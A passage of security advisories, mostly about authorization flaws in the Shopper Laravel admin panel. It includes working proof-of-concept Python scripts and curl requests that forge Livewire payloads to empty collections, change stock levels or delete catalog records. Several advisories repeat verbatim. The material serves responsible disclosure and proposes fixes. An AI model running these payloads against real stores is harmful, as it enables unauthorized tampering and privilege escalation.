Set these environment variables before running: BASEURL e.g. http://localhost SESSIONCOOKIE value of the laravelsession cookie XSRFTOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENTID Livewire component snapshot ID (from page source) COLLECTIONID integer ID of the target collection PRODUCTIDS comma-separated product IDs to detach (e.g. "1,2,3") """

import json import os import requests

baseurl = os.environ['BASEURL'] session = os.environ['SESSIONCOOKIE'] xsrf = os.environ['XSRFTOKEN'] componentid = os.environ['COMPONENTID'] collectionid = int(os.environ['COLLECTIONID']) productids = [int(x) for x in os.environ['PRODUCTIDS'].split(',')]

headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravelsession={session}', 'X-Livewire': '1', }

snapshot = json.dumps({ 'id': componentid, 'data': {'collection': collectionid}, 'checksum': 'UNLOCKEDPROPNOCHECKSUMNEEDED', })

payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callBulkAction', 'params': ['delete', productids], }] }] }

r = requests.post(f'{baseurl}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.statuscode}') print(r.text[:500])

Impact

A staff member holding only browsecollections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

php // packages/admin/src/Livewire/Components/Collection/CollectionProducts.php

use Livewire\Attributes\Locked;

#[Locked] // prevent client-side ID substitution public Collection $collection;

// Per-record action: Action::make('delete') ->authorize('editcollections') // add this ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); // ... }),

// Bulk action: DeleteBulkAction::make() ->authorize('editcollections') // add this ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); // ... })

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

First published (updated )
Severity
8.1
CSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

- packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91

php // Line 34 - unprotected, client-mutable variant binding public $variant;

// Lines 36-91 - no ->authorize(...) on the Action public function stockAction(): Action { return Action::make('stock') ->label(('shopper::forms.actions.update')) ->color('gray') ->icon(Untitledui::Package) ->modalHeading(('shopper::pages/products.modals.variants.title')) ->modalWidth(Width::Large) ->schema([ Select::make('inventory') ->label(('shopper::pages/products.inventoryname')) ->options(Inventory::query()->pluck('name', 'id')) ->native(false) ->required(), TextInput::make('quantity') ->label(('shopper::forms.label.quantity')) ->placeholder('-10 or -5 or 50, etc') ->numeric() ->required(), ]) ->action(function (array $data): void { // ...calls $this->variant->mutateStock(...) or decreaseStock(...) // with no permission check anywhere in this path }); }

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browseproducts or browseorders). No editproductvariants permission is required.

bash Step 1: Log in and obtain a session cookie and Livewire CSRF token. Obtain them from a normal browser login, then use them below.

SESSION="laravelsession=<yoursessionvalue>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

Step 2: Load the product variant page for any variant ID (e.g., 1). Capture the Livewire snapshot from the page source.

Step 3: Call the stock action on an arbitrary variant. The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "$XSRF" \ -H "Cookie: $SESSION" \ -d '{ "components": [{ "snapshot": "{\"id\":\"VARIANTSTOCKCOMPONENTID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}", "updates": {}, "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}] }] }' Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

python #!/usr/bin/env python3 """ VariantStock authorization bypass PoC.

Set these environment variables before running: BASEURL e.g. http://localhost SESSIONCOOKIE value of the laravelsession cookie XSRFTOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENTID Livewire component snapshot ID (from page source) VARIANTID integer ID of any target variant INVENTORYID integer ID of the target inventory location QUANTITY integer quantity adjustment (positive or negative) """

import json import os import requests

baseurl = os.environ['BASEURL'] session = os.environ['SESSIONCOOKIE'] xsrf = os.environ['XSRFTOKEN'] componentid = os.environ['COMPONENTID'] variantid = int(os.environ['VARIANTID']) inventoryid = int(os.environ['INVENTORYID']) quantity = int(os.environ['QUANTITY'])

headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravelsession={session}', 'X-Livewire': '1', }

snapshot = json.dumps({ 'id': componentid, 'data': {'variant': variantid}, 'checksum': 'UNLOCKEDPROPNOCHECKSUMNEEDED', })

payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callAction', 'params': ['stock', { 'inventory': inventoryid, 'quantity': quantity, }] }] }] }

r = requests.post(f'{baseurl}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.statuscode}') print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browseproducts can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

php // packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked] // prevent client-side ID substitution public $variant;

public function stockAction(): Action { return Action::make('stock') ->authorize('editproductvariants') // add this // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

First published (updated )
Severity
8.1
CSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

- packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91

php // Line 34 - unprotected, client-mutable variant binding public $variant;

// Lines 36-91 - no ->authorize(...) on the Action public function stockAction(): Action { return Action::make('stock') ->label(('shopper::forms.actions.update')) ->color('gray') ->icon(Untitledui::Package) ->modalHeading(('shopper::pages/products.modals.variants.title')) ->modalWidth(Width::Large) ->schema([ Select::make('inventory') ->label(('shopper::pages/products.inventoryname')) ->options(Inventory::query()->pluck('name', 'id')) ->native(false) ->required(), TextInput::make('quantity') ->label(('shopper::forms.label.quantity')) ->placeholder('-10 or -5 or 50, etc') ->numeric() ->required(), ]) ->action(function (array $data): void { // ...calls $this->variant->mutateStock(...) or decreaseStock(...) // with no permission check anywhere in this path }); }

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browseproducts or browseorders). No editproductvariants permission is required.

bash Step 1: Log in and obtain a session cookie and Livewire CSRF token. Obtain them from a normal browser login, then use them below.

SESSION="laravelsession=<yoursessionvalue>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

Step 2: Load the product variant page for any variant ID (e.g., 1). Capture the Livewire snapshot from the page source.

Step 3: Call the stock action on an arbitrary variant. The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "$XSRF" \ -H "Cookie: $SESSION" \ -d '{ "components": [{ "snapshot": "{\"id\":\"VARIANTSTOCKCOMPONENTID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}", "updates": {}, "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}] }] }' Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

python #!/usr/bin/env python3 """ VariantStock authorization bypass PoC.

Set these environment variables before running: BASEURL e.g. http://localhost SESSIONCOOKIE value of the laravelsession cookie XSRFTOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENTID Livewire component snapshot ID (from page source) VARIANTID integer ID of any target variant INVENTORYID integer ID of the target inventory location QUANTITY integer quantity adjustment (positive or negative) """

import json import os import requests

baseurl = os.environ['BASEURL'] session = os.environ['SESSIONCOOKIE'] xsrf = os.environ['XSRFTOKEN'] componentid = os.environ['COMPONENTID'] variantid = int(os.environ['VARIANTID']) inventoryid = int(os.environ['INVENTORYID']) quantity = int(os.environ['QUANTITY'])

headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravelsession={session}', 'X-Livewire': '1', }

snapshot = json.dumps({ 'id': componentid, 'data': {'variant': variantid}, 'checksum': 'UNLOCKEDPROPNOCHECKSUMNEEDED', })

payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callAction', 'params': ['stock', { 'inventory': inventoryid, 'quantity': quantity, }] }] }] }

r = requests.post(f'{baseurl}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.statuscode}') print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browseproducts can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

php // packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked] // prevent client-side ID substitution public $variant;

public function stockAction(): Action { return Action::make('stock') ->authorize('editproductvariants') // add this // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Three Livewire admin components in shopper/framework (latest master at commit fcd0c59, released as v2.8.0) gate state-mutating actions on the read-only viewusers permission. This is the same class as the issue Shopper fixed in v2.8.0 / PR #511 / GHSA-f946-9qp6-vgch — the PR moved most write actions from viewusers to accesssetting, but three were missed (one of them is a brand-new file added by the security commit itself).

A staff user holding only viewusers + accessdashboard (a realistic "support" or "viewer" role per Shopper's own PermissionsTableSeeder) can: (1) self-escalate by granting any permission to their own role; (2) create a brand-new admin team member with a chosen password and the admin role and then log in as that user; (3) delete arbitrary permissions rows (RBAC DoS) or — when canberemoved=true — delete entire roles.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (High). CWE-285 (Improper Authorization) + CWE-862 (Missing Authorization).

Vulnerable components (paths relative to repo root)

1) packages/admin/src/Livewire/Components/Settings/Team/Permissions.php

- togglePermission(int $id) at line 28 calls $this->authorize('viewusers'); - removePermission(int $id) at line 55 calls $this->authorize('viewusers');

The Permissions blade at packages/admin/resources/views/livewire/components/settings/team/permissions.blade.php line 34 emits every permission's id directly in wire:click handlers, so the attacker does not even need to guess IDs — the page itself enumerates them.

Net effect: any user who can mount the Permissions component (gated on viewusers) can grant any permission row to the bound $role. Granting accesssetting to the attacker's own role unlocks every action that PR #511 supposedly hardened with ->authorize('accesssetting'). Granting deletecustomers, editorders, editproducts, addbrands, etc. is direct data-modification escalation.

2) packages/admin/src/Livewire/SlideOvers/CreateTeamMember.php

- mount() at line 53 calls $this->authorize('viewusers'); - store() at line 122 calls $this->authorize('viewusers');

This file is new file mode 100755 in commit fcd0c59 — it was created as part of the security fix and inherited the same misclassified gate.

store() creates a User with emailverifiedat = now(), the attacker's chosen password, and any selected roleid. The Radio::make('roleid') options filter only excludes config('shopper.admin.roles.user'), so the admin role is selectable. Log out, log in as the new account → full admin.

3) packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php

- deleteAction at lines 81-90: only gated by ->visible($this->role->canberemoved), with no ->authorize() chain.

Page-level mount (line 52) requires only viewusers. For any role with canberemoved = true, a viewusers-only user can call the action and delete the role (cascading the loss of permissions for every assigned user).

Self-confirmation in the project's own test suite

The following tests are green on master @ fcd0c59 — they ARE the PoC:

tests/Admin/Livewire/Components/Settings/Team/PermissionsTest.php line 14-16: givePermissionTo('viewusers') only line 36-45: "can toggle permission to role" — passes line 74-85: "can remove permission" — passes

tests/Admin/Livewire/SlideOvers/CreateTeamMemberTest.php line 16-18: givePermissionTo('viewusers') only line 29-56: "can create new team member" — passes, asserts the new user hasRole('manager')

A viewusers-only Livewire user actor successfully toggles permissions, removes permissions, and creates a new privileged user — verified by Shopper's own regression tests.

Suggested fix

Change $this->authorize('viewusers') to $this->authorize('accesssetting') in:

- Permissions::togglePermission - Permissions::removePermission - Permissions::mount (defence in depth, matches Team\Index) - CreateTeamMember::mount - CreateTeamMember::store

Add ->authorize('accesssetting') to RolePermission::deleteAction (matches the pattern already applied to generatePermissionsAction, createPermissionAction, and Team\Index::DeleteAction).

Update the two regression tests to use accesssetting instead of viewusers so they accurately reflect the privilege boundary.

Resources

- Prior advisory of the same class: https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch - Fix commit that introduced these residual gaps: https://github.com/shopperlabs/shopper/commit/fcd0c5920588702df5b874f432b1042abd77a50b - CWE-285 Improper Authorization - CWE-862 Missing Authorization

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

If this disclosure was useful and if users would like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shoppers thanks those who keeping open source safe.

First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Three Livewire admin components in shopper/framework (latest master at commit fcd0c59, released as v2.8.0) gate state-mutating actions on the read-only viewusers permission. This is the same class as the issue Shopper fixed in v2.8.0 / PR #511 / GHSA-f946-9qp6-vgch — the PR moved most write actions from viewusers to accesssetting, but three were missed (one of them is a brand-new file added by the security commit itself).

A staff user holding only viewusers + accessdashboard (a realistic "support" or "viewer" role per Shopper's own PermissionsTableSeeder) can: (1) self-escalate by granting any permission to their own role; (2) create a brand-new admin team member with a chosen password and the admin role and then log in as that user; (3) delete arbitrary permissions rows (RBAC DoS) or — when canberemoved=true — delete entire roles.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (High). CWE-285 (Improper Authorization) + CWE-862 (Missing Authorization).

Vulnerable components (paths relative to repo root)

1) packages/admin/src/Livewire/Components/Settings/Team/Permissions.php

- togglePermission(int $id) at line 28 calls $this->authorize('viewusers'); - removePermission(int $id) at line 55 calls $this->authorize('viewusers');

The Permissions blade at packages/admin/resources/views/livewire/components/settings/team/permissions.blade.php line 34 emits every permission's id directly in wire:click handlers, so the attacker does not even need to guess IDs — the page itself enumerates them.

Net effect: any user who can mount the Permissions component (gated on viewusers) can grant any permission row to the bound $role. Granting accesssetting to the attacker's own role unlocks every action that PR #511 supposedly hardened with ->authorize('accesssetting'). Granting deletecustomers, editorders, editproducts, addbrands, etc. is direct data-modification escalation.

2) packages/admin/src/Livewire/SlideOvers/CreateTeamMember.php

- mount() at line 53 calls $this->authorize('viewusers'); - store() at line 122 calls $this->authorize('viewusers');

This file is new file mode 100755 in commit fcd0c59 — it was created as part of the security fix and inherited the same misclassified gate.

store() creates a User with emailverifiedat = now(), the attacker's chosen password, and any selected roleid. The Radio::make('roleid') options filter only excludes config('shopper.admin.roles.user'), so the admin role is selectable. Log out, log in as the new account → full admin.

3) packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php

- deleteAction at lines 81-90: only gated by ->visible($this->role->canberemoved), with no ->authorize() chain.

Page-level mount (line 52) requires only viewusers. For any role with canberemoved = true, a viewusers-only user can call the action and delete the role (cascading the loss of permissions for every assigned user).

Self-confirmation in the project's own test suite

The following tests are green on master @ fcd0c59 — they ARE the PoC:

tests/Admin/Livewire/Components/Settings/Team/PermissionsTest.php line 14-16: givePermissionTo('viewusers') only line 36-45: "can toggle permission to role" — passes line 74-85: "can remove permission" — passes

tests/Admin/Livewire/SlideOvers/CreateTeamMemberTest.php line 16-18: givePermissionTo('viewusers') only line 29-56: "can create new team member" — passes, asserts the new user hasRole('manager')

A viewusers-only Livewire user actor successfully toggles permissions, removes permissions, and creates a new privileged user — verified by Shopper's own regression tests.

Suggested fix

Change $this->authorize('viewusers') to $this->authorize('accesssetting') in:

- Permissions::togglePermission - Permissions::removePermission - Permissions::mount (defence in depth, matches Team\Index) - CreateTeamMember::mount - CreateTeamMember::store

Add ->authorize('accesssetting') to RolePermission::deleteAction (matches the pattern already applied to generatePermissionsAction, createPermissionAction, and Team\Index::DeleteAction).

Update the two regression tests to use accesssetting instead of viewusers so they accurately reflect the privilege boundary.

Resources

- Prior advisory of the same class: https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch - Fix commit that introduced these residual gaps: https://github.com/shopperlabs/shopper/commit/fcd0c5920588702df5b874f432b1042abd77a50b - CWE-285 Improper Authorization - CWE-862 Missing Authorization

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

If this disclosure was useful and if users would like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shoppers thanks those who keeping open source safe.

First published (updated )
Severity
7.5
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

libks provides foundational support for signalwire C products. Prior to version 2.0.11, cleanuri() in libks's HTTP request parser fails to reject URIs whose path has more segments than its internal canonicalization buffer can hold. The canonicalization step silently passes such URIs through with embedded ".." sequences intact, enabling path traversal in any consumer that later joins the URI with a filesystem path. Version 2.0.11 patches the issue.

First published (updated )
Severity
7.4
Integer Overflow
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H

Last updated 17 July 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
7.4
Integer Overflow
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H

Last updated 1 July 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
7.1
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L

Shelf is a platform for tracking physical assets. Prior to version 1.20.3, authenticated users with the asset:import permission can trigger server-side HTTP requests to attacker-controlled URLs through the Asset CSV Content Import feature. The imageUrl validation logic can be bypassed through multiple techniques, including image-extension suffixes, image-related path keywords, domain substring matching, and redirect chains. After validation, the server performs an unrestricted fetch() request to the supplied URL. This results in a Server-Side Request Forgery (SSRF) vulnerability that allows attackers to reach internal network services, cloud metadata endpoints, and arbitrary external hosts from the application's network context. Additionally, response bodies are fully buffered before size validation, creating a potential memory exhaustion vector. Version 1.20.3 patches the issue.

First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary

Five Filament groupedBulkActions blocks across the Shopper admin Livewire pages omit the ->authorize(...) permission gate, while their per-record sibling actions (and other Shopper Index pages such as Pages/Settings/Currencies.php, Pages/Reviews/Index.php, Pages/Collection/Index.php, and Pages/Discount/Index.php) correctly chain ->authorize(...). Each affected page's mount() only requires the read-only browse permission, so a low-privilege staff user holding only the read permission can drive the bulk endpoint via the standard Livewire callTableBulkAction flow and execute state-mutating operations they were never granted. The vulnerability is the same class as GHSA-f946-9qp6-vgch and GHSA-j328-xmgp-j4q3 (read-only permission gating a write action), just on a different surface (Filament 4 groupedBulkActions rather than top-level Livewire methods).

A staff user holding only browseattributes can permanently delete every product attribute in the catalog (cascading break of every dependent product variant). A user holding only browsetags can permanently delete every product tag. Users holding browsebrands, browsecategories, or browsesuppliers can flip the visibility (isenabled) of every brand/category/supplier in bulk, sabotaging storefront catalog visibility.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High. CWE-285 (Improper Authorization) and CWE-862 (Missing Authorization). The attacker has low privilege (browse-only staff role), no user interaction, network reachable.

Vulnerable components (paths relative to repo root)

All references are HEAD = commit ac9a760 on master (the very commit that closed the previous wave of authorization-drift bugs from GHSA-j328-xmgp-j4q3).

1) packages/admin/src/Livewire/Pages/Attribute/Browse.php

Mount at line 36–39 requires only browseattributes.

- Lines 106–122: DeleteBulkAction::make() has NO ->authorize(...) chain (the surrounding per-record delete action at lines 95–104 correctly does ->authorize('deleteattributes')). - Lines 123–138: BulkAction::make('enabled') has NO ->authorize(...). - Lines 139–155: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browseattributes-only user can delete every row in the attributes table, and toggle isenabled on every attribute in one request. Deleting an attribute cascades into every product variant that references it via the attributeproduct pivot.

2) packages/admin/src/Livewire/Pages/Tag/Index.php

Mount at line 39 requires only browsetags.

- Lines 96–108: DeleteBulkAction::make() has NO ->authorize(...) chain (the per-record delete action at lines 79–94 correctly does ->authorize('deletetags')).

Net effect: a browsetags-only user can delete every ProductTag row.

3) packages/admin/src/Livewire/Pages/Brand/Index.php

Mount at line 37–40 requires only browsebrands.

- Lines 97–112: BulkAction::make('enabled') has NO ->authorize(...). - Lines 113–129: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browsebrands-only user can flip isenabled on every brand. Disabling all brands removes them from the storefront catalog. The per-record edit/delete actions and the DeleteBulkAction at lines 130–148 are correctly ->authorize(...) gated — only the visibility bulk actions were missed.

4) packages/admin/src/Livewire/Pages/Category/Index.php

Mount at line 38–41 requires only browsecategories.

- Lines 102–117: BulkAction::make('enabled') has NO ->authorize(...). - Lines 118–133: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browsecategories-only user can flip isenabled on every category. Same shape as Brand.

5) packages/admin/src/Livewire/Pages/Supplier/Index.php

Mount at line 38 requires only browsesuppliers.

- Lines 93–108: BulkAction::make('enabled') has NO ->authorize(...). - Lines 109–125: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browsesuppliers-only user can flip isenabled on every supplier.

Reference comparison: places that ARE correctly gated

For reference, here is what the same pattern looks like in files that DID get the fix:

- packages/admin/src/Livewire/Pages/Settings/Currencies.php lines 90–129: every BulkAction chains ->authorize('accesssetting'). - packages/admin/src/Livewire/Pages/Reviews/Index.php lines 105–119: DeleteBulkAction chains ->authorize('deletereviews'). - packages/admin/src/Livewire/Pages/Collection/Index.php lines 109–128: DeleteBulkAction chains ->authorize('deletecollections'). - packages/admin/src/Livewire/Pages/Discount/Index.php lines 126–145: DeleteBulkAction chains ->authorize('deletediscounts').

The convention is established and applied elsewhere — these five files just missed it.

Proof of Concept

The attached file tests/Admin/Livewire/Pages/Brand/AuthBypassPocTest.php (added in this report) contains seven Pest tests, each acting as a browse-only staff user and invoking the bulk endpoint. All seven pass on master @ ac9a760:

PASS Tests\Admin\Livewire\Pages\Brand\AuthBypassPocTest ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all brands via unguarded BulkAction ✓ it SHOPPER-2 PoC: read-only viewer can mass-ENABLE all brands via unguarded BulkAction ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all categories via unguarded BulkAction ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all suppliers via unguarded BulkAction ✓ it SHOPPER-2 PoC: read-only viewer can DELETE all attributes via unguarded DeleteBulkAction ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all attributes via unguarded BulkAction ✓ it SHOPPER-2 PoC: browsetags viewer can DELETE all product tags via unguarded DeleteBulkAction

Tests: 7 passed (32 assertions)

Each test seeds three records, signs in a user holding only the corresponding browse permission, calls Livewire::test(<Page>::class)->callTableBulkAction(...), and asserts the side effect (records flipped or deleted). For example, the attribute mass-delete test:

php $this->viewer = User::factory()->create(); $this->viewer->givePermissionTo('browseattributes'); $this->actingAs($this->viewer);

Attribute::factory()->count(3)->create(); expect($this->viewer->can('deleteattributes'))->toBeFalse();

Livewire::test(AttributeBrowse::class) ->callTableBulkAction(\Filament\Actions\DeleteBulkAction::class, Attribute::pluck('id')->toArray()) ->assertHasNoErrors();

expect(Attribute::count())->toBe(0);

The call uses the same callTableBulkAction helper Shopper's own test suite uses everywhere, which in turn drives the same Livewire update payload the browser would emit — so this is a faithful HTTP-level reproduction.

Suggested fix

Add ->authorize(<correctpermission>) to each of the five vulnerable groups, mirroring the pattern already used elsewhere:

diff // Pages/Attribute/Browse.php ->groupedBulkActions([ DeleteBulkAction::make() + ->authorize('deleteattributes') ->label(('shopper::forms.actions.delete')) ->requiresConfirmation() ->action(function (Collection $records): void { / ... / }), BulkAction::make('enabled') + ->authorize('editattributes') ->label(('shopper::forms.actions.enable')) ->action(function (Collection $records): void { / ... / }), BulkAction::make('disabled') + ->authorize('editattributes') ->label(('shopper::forms.actions.disable')) ->action(function (Collection $records): void { / ... / }), ])

Apply the equivalent change to Pages/Tag/Index.php (deletetags), Pages/Brand/Index.php (editbrands for enable/disable), Pages/Category/Index.php (editcategories), and Pages/Supplier/Index.php (editsuppliers).

A regression test for each file (acting as a browse-only user and expecting assertHasErrors/AuthorizationException) would lock in the fix, matching the regression tests added for #514.

Resources

- Prior advisories of the same class (read-only permission gating a write action): GHSA-f946-9qp6-vgch, GHSA-j328-xmgp-j4q3 / GHSA-vw82-3966-f9mr. - Same-shape fix: commit ac9a760 (PR #514). Five Filament bulk-action groups did not receive the corresponding ->authorize(...) chain. - CWE-285 Improper Authorization, CWE-862 Missing Authorization.

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

If this disclosure was useful and userswould like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shopper is thankful for those keeping open source safe.

First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary

Five Filament groupedBulkActions blocks across the Shopper admin Livewire pages omit the ->authorize(...) permission gate, while their per-record sibling actions (and other Shopper Index pages such as Pages/Settings/Currencies.php, Pages/Reviews/Index.php, Pages/Collection/Index.php, and Pages/Discount/Index.php) correctly chain ->authorize(...). Each affected page's mount() only requires the read-only browse permission, so a low-privilege staff user holding only the read permission can drive the bulk endpoint via the standard Livewire callTableBulkAction flow and execute state-mutating operations they were never granted. The vulnerability is the same class as GHSA-f946-9qp6-vgch and GHSA-j328-xmgp-j4q3 (read-only permission gating a write action), just on a different surface (Filament 4 groupedBulkActions rather than top-level Livewire methods).

A staff user holding only browseattributes can permanently delete every product attribute in the catalog (cascading break of every dependent product variant). A user holding only browsetags can permanently delete every product tag. Users holding browsebrands, browsecategories, or browsesuppliers can flip the visibility (isenabled) of every brand/category/supplier in bulk, sabotaging storefront catalog visibility.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High. CWE-285 (Improper Authorization) and CWE-862 (Missing Authorization). The attacker has low privilege (browse-only staff role), no user interaction, network reachable.

Vulnerable components (paths relative to repo root)

All references are HEAD = commit ac9a760 on master (the very commit that closed the previous wave of authorization-drift bugs from GHSA-j328-xmgp-j4q3).

1) packages/admin/src/Livewire/Pages/Attribute/Browse.php

Mount at line 36–39 requires only browseattributes.

- Lines 106–122: DeleteBulkAction::make() has NO ->authorize(...) chain (the surrounding per-record delete action at lines 95–104 correctly does ->authorize('deleteattributes')). - Lines 123–138: BulkAction::make('enabled') has NO ->authorize(...). - Lines 139–155: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browseattributes-only user can delete every row in the attributes table, and toggle isenabled on every attribute in one request. Deleting an attribute cascades into every product variant that references it via the attributeproduct pivot.

2) packages/admin/src/Livewire/Pages/Tag/Index.php

Mount at line 39 requires only browsetags.

- Lines 96–108: DeleteBulkAction::make() has NO ->authorize(...) chain (the per-record delete action at lines 79–94 correctly does ->authorize('deletetags')).

Net effect: a browsetags-only user can delete every ProductTag row.

3) packages/admin/src/Livewire/Pages/Brand/Index.php

Mount at line 37–40 requires only browsebrands.

- Lines 97–112: BulkAction::make('enabled') has NO ->authorize(...). - Lines 113–129: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browsebrands-only user can flip isenabled on every brand. Disabling all brands removes them from the storefront catalog. The per-record edit/delete actions and the DeleteBulkAction at lines 130–148 are correctly ->authorize(...) gated — only the visibility bulk actions were missed.

4) packages/admin/src/Livewire/Pages/Category/Index.php

Mount at line 38–41 requires only browsecategories.

- Lines 102–117: BulkAction::make('enabled') has NO ->authorize(...). - Lines 118–133: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browsecategories-only user can flip isenabled on every category. Same shape as Brand.

5) packages/admin/src/Livewire/Pages/Supplier/Index.php

Mount at line 38 requires only browsesuppliers.

- Lines 93–108: BulkAction::make('enabled') has NO ->authorize(...). - Lines 109–125: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browsesuppliers-only user can flip isenabled on every supplier.

Reference comparison: places that ARE correctly gated

For reference, here is what the same pattern looks like in files that DID get the fix:

